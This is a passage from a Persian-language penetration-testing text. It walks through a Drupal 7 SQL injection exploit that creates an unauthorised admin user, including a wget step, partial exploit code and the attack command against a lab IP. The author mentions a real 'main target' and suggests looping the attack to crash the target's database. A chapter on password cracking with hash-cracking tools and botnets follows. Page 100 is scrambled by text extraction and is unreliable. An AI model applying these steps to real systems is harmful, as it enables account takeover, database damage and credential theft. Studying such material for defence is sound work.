بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم 89 1-5-3پیدا کردن آسیب پذیریما از دو سایت لیست شماره 35برای پیدا کردن آسیب پذیری استفاده می کنیم.https://www.exploit-db.com/ لیست شماره 35http://www.securityfocus.com/vulnerabilitiesابتدا به آدرس https://www.exploit-db.com/searchرفته سپس در بخش جستجو عبارت drupal 7را وارد می کنیم. مطابق با شکل شماره3۶ شکل شماره 36همانطوری که در شکل مشاهده می کنید برای نسخه هایی قدیمیتر از 7.32کد برای اکسپلویت کردن وجود دارد .حال ما کد با تاریخ انتشار Published: 2014-10-16را انتخاب می کنیم .مطابق با شکل شماره 31 شکل شماره 37
بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم 90همانطوری که در شکل مشاهده می کنید کد نوشته شده به زبان پایتون است و بایستی این کد در کالی لینوکس کامپایل شود.همواره و قبل از هر گونه نصبی بایستی ابتدا پیش نیاز های کد را که برای کامپایل شدن به آن احتیاج دارد را در سیستم عامل کالیلینوکس نصب کنیم .معمولا این دستور العمل ها در بخش توضیحات کد که در ابتدای آن وجود دارد مشخص می شوند .در اینمثال نیاز است تا از gitکد مربوط به تولید پسوردهای هش شده توسط متد هش گذاری دروپال را دانلود کنیم .در این حمله بدوناینکه نیاز به طی کردن فرآیند ثبت نام باشد میتواند کاربر در سایت ایجاد کرد و این یعنی شکستت دیتا بیس سایت بعد مدت کوتاهی( .متاسفانه این مشکل در یکی از تارگت های اصلی ما وجود دارد و علت مطرح کردن این حمله این بوده است). برای نصب کد پیش نیاز برنامه دستورات شماره 32را اجراء می کنیمroot@kali~# wget https://raw.githubusercontent.com/cvangysel/gitexd-drupalorg/master/drupalorg/drupalpass.pyroot@kali~# mv drupalpass.py /usr/lib/python2.7/ دستورات شماره 38 حال کد را در یک فایل با پسوند pyکپی کرده و همانند دستورات شماره 31به تارگت حمله می کنیم دستورات شماره 39root@kali~# nano attackdrupal.pyکپی کد در این فایل#Drupal 7.x SQL Injection SA-CORE-2014-005 https://www.drupal.org/SA-CORE-2014-005#Creditz to https://www.reddit.com/user/fyukyukimport urllib2,sysfrom drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py]host = sys.argv[1]user = sys.argv[2]password = sys.argv[3………root@kali~# python attackdrupal.py http://192.168.1.106/tic/admin2%123%@dmin حال با اجرای دستور بالا یک کاربر جدید بدون طی کردن پروسه احراز هویت ایجاد می شوددر صورت نبود wafو یا کانفیگ نادرست آن میتوان حمله فوق را در یک loopانجام داد و این حمله بی شک باعث کرش شدن دیتابیس تارگت خواهد شد
بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم 91 فصل چهار حملات سایبری به تدابیر امنیتی مبتنی بر دانش رمزنگاری در این فصل مباحثی بیان خواهند شده که مربوط به شکست سیستم های رمزنگاری است .روشهایی که در آنها از اطلاعاتی که نبایستی در اختیار عموم قرار گیرد محافظت می شود.
بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم 92 4حملات سایبری به تدابیر امنیتی مبتنی بر دانش رمزنگاری امروزه نام های کاربری به همراه پسورد به طور وسیعی برای احراز هویت کاربران استفاده می شوند .این سیستم می تواند در یک رایانه ،در یک سیستم بانکی ATM ،ها و یا هر نوع منابع دیجیتال دیگری استفاده شود .برخی از پسورد ها را می توان به راحتی کرک کرد اما برخی به علت رعایت قوانین پسورد گذاری توسط صاحب آن خیر .در این حالت متخصص و یا مشاور امنیت می بایست از تکنیک ها و منابع لازم استفاده کند تا بتواند این پسورد ها را نیز کرک کند .او ممکن است از سیستم های محاسباتی قدرتمندی چون بات نت هاASIC ،GPU ،11و ....برای کرک کردن استفاده کند .گاهی نیز می توان بدون نیاز به بدست آوردن پسورد که برای دسترسی به منابعی که توسط سیستم های احراز هویت محافظت می شوند به این منابع با ارزش دسترسی پیدا کرد .معمولا در این حملات هدف سوء استفاده از مکانیزم های احراز هویت متوالی بعد از احراز هویت اصلی که با پسورد است می باشد .اهدافی چون کوکی ها ،مشخصه یک نشست ،بلیط کربروس و غیره از این دست می باشند .ممکن است این حملات ساده تر از کرک کردن یک پسورد قدرتمند باشد .در این فصل ما با مفاهیم ،تکنیک ها و ابزار قدرتمند کالی لینوکس که میزان موفقیت ما را در شکستن پسورد های طولاتی خیلی و خیلی بیشتر می کنند آشنا خواهیم شد .ابتدا به بیان مفاهیم اصلی در این نوع حملات خواهیم پرداخت. 1-4مفاهیم اصلی در حملات 1-1-4ذخیره سازی پسوردها به طور معمول پسورد ها به صورت متن ساده در دیتابیس های متعلق به برنامه ذخیره نمی شوند بلکه به صورت هش ذخیره می شوند و الگوریتم هایی نظیر MD5و SHA1برای این کار استفاده می شود .در سیستم عامل ویندوز پسورد ها در فایلی به نام SAMذخیره می شوند در حالی که در لینوکس در فایل ./etc/shadowاین فایل ها تنها توسط افراد و یا برنامه هایی که سطح دسترسی آنها root/sysadminاست قابل دسترسی هستد .در هر دو حالت با استفاده از فایل ها و یا سرویس هایی که 11 botnet
بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم 93 سطح دسترسی آنها root/sysadminاست می توان این پسورد ها هش شده را بدست آورد ،مانند حمله DLL Injection که با سوءاستفاده از فایل samdumpاست انجام می گیرد. 2-1-4انواع حملات Dictionary 1-2-1-4 حمله دیکشنری ساده ترین و در عین حال سریعترین حمله برای شکستن پسورد ها است .در این حمله از یک فایل که حاوی لغات معنا داری می باشد استفاده می شود و هر کدام از آنها را به عنوان پسورد امتحان می کنند .معمولا در شکستن پسورد ها این نوع حمله جزء نخستین تست ها است. Rainbow Table2-2-1-4 همانطور که بیان شد امروزه اکثر سیستم ها از هش ها استفاده می کنند ،به این معنا که حتی اگر ما بتوانیم به فایل و یا مکانی که پسورد ها در آن ذخیره می شوند هم دسترسی پیدا کنیم همچنان بایستی هش آنها کرک شود .یکی از روش های کارا در شکستن هش این است که مقدار هش را با مقدار هش مقادیر یک فایل دیکشنری مقایسه کرد و هر زمان که مقدار هش بدست آورده شده با آنی که در فایل ذخیره شده است یکسان بود یعنی هش پسورد کرک شده است .در این نوع حمله قدرت CPUنقش اساسی در موفقیت آن دارد. Hybrid 3-2-1-4 این حمله ترکیب کلمات فایل دیکشنری با یک سری کاراکترهای خاص مانند اعداد و یا نماد ها است .در بیشتر اوقات در این نوع حمله به ابتدا و انتهای کلمه موجود در دیکشنری اعداد را اضافه می کنند و یا بعضی کاراکتراهای آن را باکارکتراهای دیگری عوض می کنند .مثلا passwordرا با p@$$w0rd123عوض می کنند. Brute Force4-2-1-4 این حمله به لحاظ زمانی بسیار طولانیست چرا که در آن به جای بررسی یک سری از حالت های ممکن برای پسورد که همان حمله دیکشنری است بایستی تمامی حالات آن بررسی شوند .با در اختیار داشتن منابع محاسباتی قدرتمند احتمال موفقیت این حمله بسیار بالاست. 3-1-4پسوردهایی که بطور معمول استفاده می شوند بر خلاف آنکه ما متصور هستیم که پسوردهای ما منحصر به فرد هستند ،ما به شما نشان خواهیم داد که این طرز فکر غلط است و الگوهایی وجود دارد که خیلی از افراد از آنها پیروی می کنند و در نتیجه پسوردشان با یکدیگر یکسان است.
بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم 94 4-1-4استراتژی شکستن پسورد ها در بیشتر اوقات ما از نتایج حمله به قصد شکستن پسورد ها ناراضی هستیم .زمانی که تنها یک پسورد لیست و یک برنامه حمله را انتخاب کرده ایم .اما متخصصین کرک پسورد دارای یک استراتژی ویژه برای این نوع از حملات هستند.آنها انتظار ندارند که بتوانند تمامی پسورد ها را کرک کنند اما با یک استراژی مناسب ،آنها می توانند اکثر پسورد ها را در زمان کوتاهی کرک کنند .کلید این مسئله این است تکرار متعدد ،بررسی از ساده ترین حالت پسورد ها در تکرار اول تا بررسی پسوردها پیچیده با استفاده از تکنیک ها ی مختلف در هر مرحله. 5-1-4نرم افزار های محبوب در شکستن پسورد ها John 1-5-1-4 به جرات می توان گفت که برنامه johnیکی از برنامه های قدرتمند و سریع در شکستن پسوردها است که فقط برای سیستم عامل کالی لینوکس طراحی شده است و از طریق ترمینال قابل دسترسی است و فاقد واسط گرافیکی است و این مسئله کار با این برنامه را کمی چالش برانگیز کرده است .یکی از موضوعاتی که این نرم افزار را محبوب کرده است این است که دارای استراتژی خاص خود نسبت به تولید پسورد های پیش فرض در حین کرک کردن است .این استراتژی به صورت زیر است ابتدا برنامه تلاش می کند از حمله دیکشنری برای حمله استفاده کند اگر در مرحله قبل به موفقیت نرسد این بار با ترکیب کلمات دیکشنری با یکدیگر حمله را آغاز می کند در صورت شکست در مرحله قبل ،این با از حمله Hybridاستفاده می کند در صورت شکست تمامی مراحل بالا از حمله Brute Forceاستفاده خواهد کرد .در شکل شماره 1محیط این برنامه در سیستم عامل کالی لینوکس نشان داده شده است شکل شماره 1
بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم 95 Ophcrack 2-5-1-4 این برنامه رایگان بر اساس شکستن پسورد های هش با تکنیک rainbow table-basedبرای نفوذ به سیستم عامل ویندوز طراحی شده است .این برنامه در میان برنامه های محبوب کرک کردن پسورد ویندوز که بدون تردید مهمترین آنها برنامه cain and abelاست ،این قابلیت را دارد که در سیستم عامل های کالی لینوکس و مک بوک نیز استفاده شود .این برنامه برای کرک کردن پسورد های هش شده LMو 12 NTLMویندوز است .این برنامه برای حمله به سیستم عامل های ،Windows XP Vistaو Windows 7به تبع آن Windows Server 2003و 2008استفاده می شود .برای دانلود این برنامه می توان از لینک زیر استفاده کرد http://ophcrack.sourceforge.net برای دانلود جدول های rainbowنیز می توان از طریق لینک زیر اقدام کرد http://ophcrack.sourceforge.net/tables.php در شکل شماره 2محیط کاری این برنامه نشان داده شده است. L0phtCrack 3-5-1-4 این برنامه به نوعی نسخه حرفه ای تر برنامه قبلی است چراکه مستقیما فایل SAMو Active Directoryرا هدف قرار می دهد .این برنامه همچنین برای حملات Dictionaryو Brute Forceاستفاده می شود .برای دانلود این برنامه می توان از لینک زیر استفاده کرد http://www.l0phtcrack.com/download.html در شکل شماره 3محیط کاری این برنامه نشان داده شده است. NTLM 12خلاصه شده عبارت NT LAN Managerاست که این نام در زمانی که ویندوز پشتیبانی شبکه خود را تا حد مدیریت LANپیش برد، به آن داده شده است .پروتکل ، NTLMپروتکل پیش فرض احراز هویت در شبکه است که در سیستم عامل ویندوز NT 4.0مورد استفاده قرار میگرفته است . NTLMیک پروتکل \" \"Challenge Responseاست که در حال حاضر برای ایجاد هماهنگی با نسخه های پایین تر از ویندوز 2222مورد استفاده قرار میگیرد .احراز هویت \" \"Challenge Responseخانواده ای از پروتکل ها را شامل میشود که در آن یک طرف ارتباط سوالی )(Challengرا مطرح میکند و طرف دیگر باید برای آن جوابی معتبر ) (Responseارائه کند .پروتکل های احراز هویت NTLMشامل LAN Managerورژن 1و 2و NTLMورژن 1و 2است .تمام این پروتکل های در عمل یک فرایند را دنبال میکنند و تفاوت آن در میزان سطح رمزنگاری موجود در ذات امنیتیشان است .پروتکل های احراز هویت ، NTLMکلاینت را بر اساس یک مکانیزم \" \"Challenge Responseکه به سرور نشان میدهد که کلاینت پسورد متناظر با اکانت را میداند ،احراز هویت میکند .پروتکل NTLMمیتواند بصورت دلخواه در امنیت sessionو بخصوص یکپارچگی و محرمانگی پیام ها نیز مورد استفده قرار گیرد.
بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم 96 شکل شماره 2 شکل شماره 3
بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم 97 Cain and Abel 4-5-1-4 احتمالا Cain and Abelبهترین برنامه کرک پسورد در کره زمین است .این برنامه تنها در سیستم عامل ویندوز قابل نصب است و می تواند انواع مختلفی از هش ها شامل SQL ،MySQL ،Oracle ،wireless ،MD5 ،NTLMv2 ،NTLM VoIP ،Cisco ،SHA2 ،SHA1 ،Serverو انواع مختلف دیگری را مورد حمله قرار دهد .در شکل شماره 4محیط کاری این برنامه نشان داده شده است. شکل شماره 4 این برنامه قابلیت کرک کردن پسورد ها را با استفاده از حملات دیکشنری ،جدول های rainbowو Brute forceدارد .یکی از بهترین ویژگی های این برنامه قابلیت انتخاب طول پسورد و نوع و تعداد کاراکتر ها برای حمله Brute forceاست. THC-Hydra 5-5-1-4 این برنامه احتمالا تنها برنامه ایست که بیشترین استفاده را از سمت جامعه متخصصین فناوری اطلاعات وامنیت و همچنین هکر ها داشته است .این برنامه برای حمله به صفحات احراز هویت وب می باشد و زمانی که همزمان با قابلیت برنامه های دیگری چون Burpاستفاده می شود بسیار قدرتمند خواهد بود .بنابراین این برنامه برای حمله به هر نوع سیستم احزار هویت آنلاینی مفید و قدرتمند است .در کالی لینوکس این برنامه از طریق واسط گرافیکی و همچنین ترمینال قابل دسترسی است.
بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم 98 Brutus 6-5-1-4 این برنامه برای کرک پسورد های آنلاین است و به گفته خیلی از متخصصین سریع ترین در این نوع از حملات است .این برنامه رایگان است و در هر دو پلت فرم لینوکس و ویندوز قابل استفاده است .این برنامه از کرک کردن (Basic HTTP ) Telnet ،SMB ،FTP ،POP3 ،HTTP ( HTML Form/CGI) ،Authenticationو انواع دیگر چون NetBus ،NNTP ،IMAPو ....پشتیبانی می کند .در شکل شماره 5محیط این برنامه نشان داده شده است و از طریق لینک زیر می توان آنرا دانلود کرد http://www.hoobie.net/brutus/brutus-download.html شکل شماره 5 6-1-4ارتباط سخت افزار و شکستن پسوردها 13Botnet 1-6-1-4 به بیان ساده کرک پسورد در بدترین حالت یعنی استفاده از حمله Brute Forceکه تابعی از توان محاسباتی سیستم عامل است .اگریک سیستم بتواند یک پسورد را در یک ساعت کرک کند ،با استفاده از دو سیستم مشابه یکدیگر ،می توان همان پسورد 13باتنتها شبکههایی هستند که با در اختیار گرفتن مجموعهای از کامپیوترها که بات )(botنامیده میشوند ،تشکیل میشوند .این شبکهها توسط یک و یا چند مهاجم که botmastersنامیده میشوند ،با هدف انجام فعالیتهای مخرب کنترل میگردند .به عبارت بهتر رباتها کدهای مخربی هستند که بر
بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم 99 را در نیم ساعت کرک کرد .حال فرض کند در داخل یک شبکه داخلی یا اینترانت و یا شبکه خارجی یا اینترنت شما دسترسی به میلیون ها سیستم دارید .در سراسر زمین بات نت هایی وجود دارند که متشکل از بیش از یک میلیون سیستم هستند و برای اهدافی چون کرک کردن پسورد ها استفاده می شوند .اگر ما پسوردی داشته باشیم که با سیستم و منابع موجود خودمان یک سال زمان برای شکستن آن نیاز باشد ،با استفاده از چنین بانت هایی به صورت تقریبی تنها 32ثانیه زمان برای شکستن آن پسورد نیاز است. GPU2-6-1-4 امروزه پردازندههای گرافیکی که بر روی کارتگرافیکهای گرانقیمت نصب میشوند توان پردازشی خارقالعادهای را نسبت به پردازندههای مرکزی ارائه میدهند ،این موضوع موجب گسترش کاربردهای این پردازندهها در حوزههایی فراتر از بازیهای کامپیوتری گشته است ،پردازندههای گرافیکی مدرن با معماری موازی خود پردازندههای بسیار سریعی به شمار میروند ،در عین حال با قیمت و توان مصرفی کمتری عرضه میشوند و جهت پیادهسازی حملات کرک پسورد بسیار مناسب هستند .تعداد کمی ابزار در کالی لینوکس برای بهره گیری از این قابلیت سخت افزاری وجود دارد که نام این برنامه ها عبارت است از ،cudahashcat oclhashcatو .pyrit ASIC 3-6-1-4 تراشه ASICیا Application-Specific Integrated Circuitبه تراشه ای گفته می شود که برای انجام عملیات خاصی طراحی و ساخته می شود ،اغلب ASICها با زبان HDLطراحی می شوند و سپس کارخانه های سازنده با تبدیل طراحی به گیت های منطقی NANDیا NORآن را می سازند .تراشه های ASICمعمولا با تعداد بسیار بالا و هزینه پایین تولید می شود و در عین حال که قیمت تمام شده قطعه بسیار پایین می آید اما هزینه گزافی باید به علت تعداد بالا پرداخته شود بنابراین برای کارهایی مناسب هستند که قصد دارند تراشه را به تعداد انبوه استفاده کنند مانند پسورد کرکینگ. 2-4استراتژی حمله شکستن هر پسوردی روش خاص خود را نسبت به فاکتور های دخیل در آن دارد .نوع رمزنگاری استفاده شده ،آنلاین یا آفلاین بودن آن ،حالت saltedو یا unsaltedو الی آخر .در این بخش ما درباره استراتژی کرک کردن پسوردها به صورت مرحله وار صحبت خواهیم کرد .این استراتژی روی طیف وسیعی از پسورد ها قابل امتحان است .همانطور که قبلا گفتیم پسورد ها به صورت هش شده ذخیره می شوند .در سیستم عامل ویندوز در فایل ،SAMدر لینوکس در فایل etc/shadowو در اکتیو دایرکتوری در .LDAPبنابراین در اولین قدم بایستی متوجه شد که در هشی که ما بدست آورده ایم در حالت آفلاین البته ،نوع رمزنگاری بکار روی کامپیوترهای میزبان اجرا میشوند تا امکان کنترل نمودن آنها از راه دور را برای botmasterها فراهم نمایند و آنها بتوانند این مجموعه را وادار به انجام فعالیتهای مختلف نمایند.
100 بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم ما هر دوی این روش ها را برای. ما دو روش را برای اینکار پیشنهاد می دهیم که هر دوی آنها امن هستند.رفته بروی آن چیست پسورد های هش شده زیر بکار می بریم*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 هش شماره یک2c12471b9239ff8697b41621cc0be83e4d55c0f8 هش شماره دو05fe635675068d79a041e02fe64617b6 هش شماره سه John روش اول شناسایی نوع هش – برنامه1-2-4 احتمال اینکه این برنامه با موفقیت نوع. استفاده می کنیم که در ابتدا نوع هش را شناسایی می کندjohn در روش اول از برنامه خیلی از برنامه ها. اما اگر برنامه فوق نتواند به موفقیت برسد راه دیگری وجود نخواهد داشت. در صد است12 هش را شناسایی کند نتایج استفاده از برنامه نسبت به هش های بالا در نتایج. در زمان استفاده بایستی نوع هش را مشخص کرد،hashcat چون ) (برای استفاده ابتدا مقدار هش را در یک فایل ذخیره می کنیم و آدرس فایل را به برنامه می دهیم. گزارش شده اند۶ شماره 6 نتایج شماره نتایج هش شماره یکroot@dhcppc4:~# john Hash-Type1.hashUsing default input encoding: UTF-8Loaded 1 password hash (mysql-sha1, MySQL 4.1+ [SHA1 32/32])No password hashes left to crack (see FAQ)root@dhcppc4:~# john Hash-Type2.hash 6 نتایج شمارهWarning: detected hash type \"has-160\", but the string is also recognized as \"Raw-SHA1\"Use the \"--format=Raw-SHA1\" option to force loading these as that type instead نتایج هش شماره دوWarning: detected hash type \"has-160\", but the string is also recognized as \"Raw-SHA\"Use the \"--format=Raw-SHA\" option to force loading these as that type instead نتایج هش شماره سهWarning: detected hash type \"has-160\", but the string is also recognized as \"ripemd-160\"Use the \"--format=ripemd-160\" option to force loading these as that type insteadUsing default input encoding: UTF-8Loaded 1 password hash (has-160 [HAS-160 32/32])Warning: OpenMP is disabled; a non-OpenMP build may be fasterPress 'q' or Ctrl-C to abort, almost any other key for statusroot@dhcppc4:~# john Hash-Type3.txtWarning: detected hash type \"LM\", but the string is also recognized as \"Raw-MD5\"Use the \"--format=Raw-MD5\" option to force loading these as that type insteadWarning: detected hash type \"LM\", but the string is also recognized as \"Raw-MD5u\"Use the \"--format=Raw-MD5u\" option to force loading these as that type insteadWarning: detected hash type \"LM\", but the string is also recognized as \"ripemd-128\"Use the \"--format=ripemd-128\" option to force loading these as that type insteadWarning: detected hash type \"LM\", but the string is also recognized as \"Snefru-128\"
Search
Read the Text Version
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
- 75
- 76
- 77
- 78
- 79
- 80
- 81
- 82
- 83
- 84
- 85
- 86
- 87
- 88
- 89
- 90
- 91
- 92
- 93
- 94
- 95
- 96
- 97
- 98
- 99
- 100
- 101
- 102
- 103
- 104
- 105
- 106
- 107
- 108
- 109
- 110
- 111
- 112
- 113
- 114
- 115
- 116
- 117
- 118
- 119
- 120
- 121
- 122
- 123
- 124
- 125
- 126
- 127
- 128
- 129
- 130
- 131
- 132
- 133